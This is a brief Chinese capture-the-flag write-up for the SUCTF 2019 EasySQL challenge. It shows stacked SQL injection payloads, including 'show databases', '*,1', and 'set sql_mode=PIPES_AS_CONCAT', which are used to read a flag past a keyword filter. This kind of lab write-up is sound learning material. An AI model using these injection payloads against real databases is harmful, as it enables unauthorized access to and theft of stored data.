BUUCTF [SUCTF 2019]EasySQL

打开界面
在这里插入图片描述
试了一下有三种显示
BUUCTF [SUCTF 2019]EasySQL_第1张图片
在这里插入图片描述
还有一个没有输出

可以堆叠注入

1;show databases; 
1;show tables;  

BUUCTF [SUCTF 2019]EasySQL_第2张图片
可以看到有一个Flag表

测试发现from flag都被过滤不能直接读到flag

想了很久想不到 看别人wp了~
看见听说比赛的时候原理泄漏了的

select $_GET['query'] || flag from flag

是这样 md 谁想的到啊 别欺负我们菜鸡好不好

不过由于没有过滤 * 出现了一个意外解

*,1 

BUUCTF [SUCTF 2019]EasySQL_第3张图片

预期解

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

结果一样的 就不截图了

你可能感兴趣的:(CTF)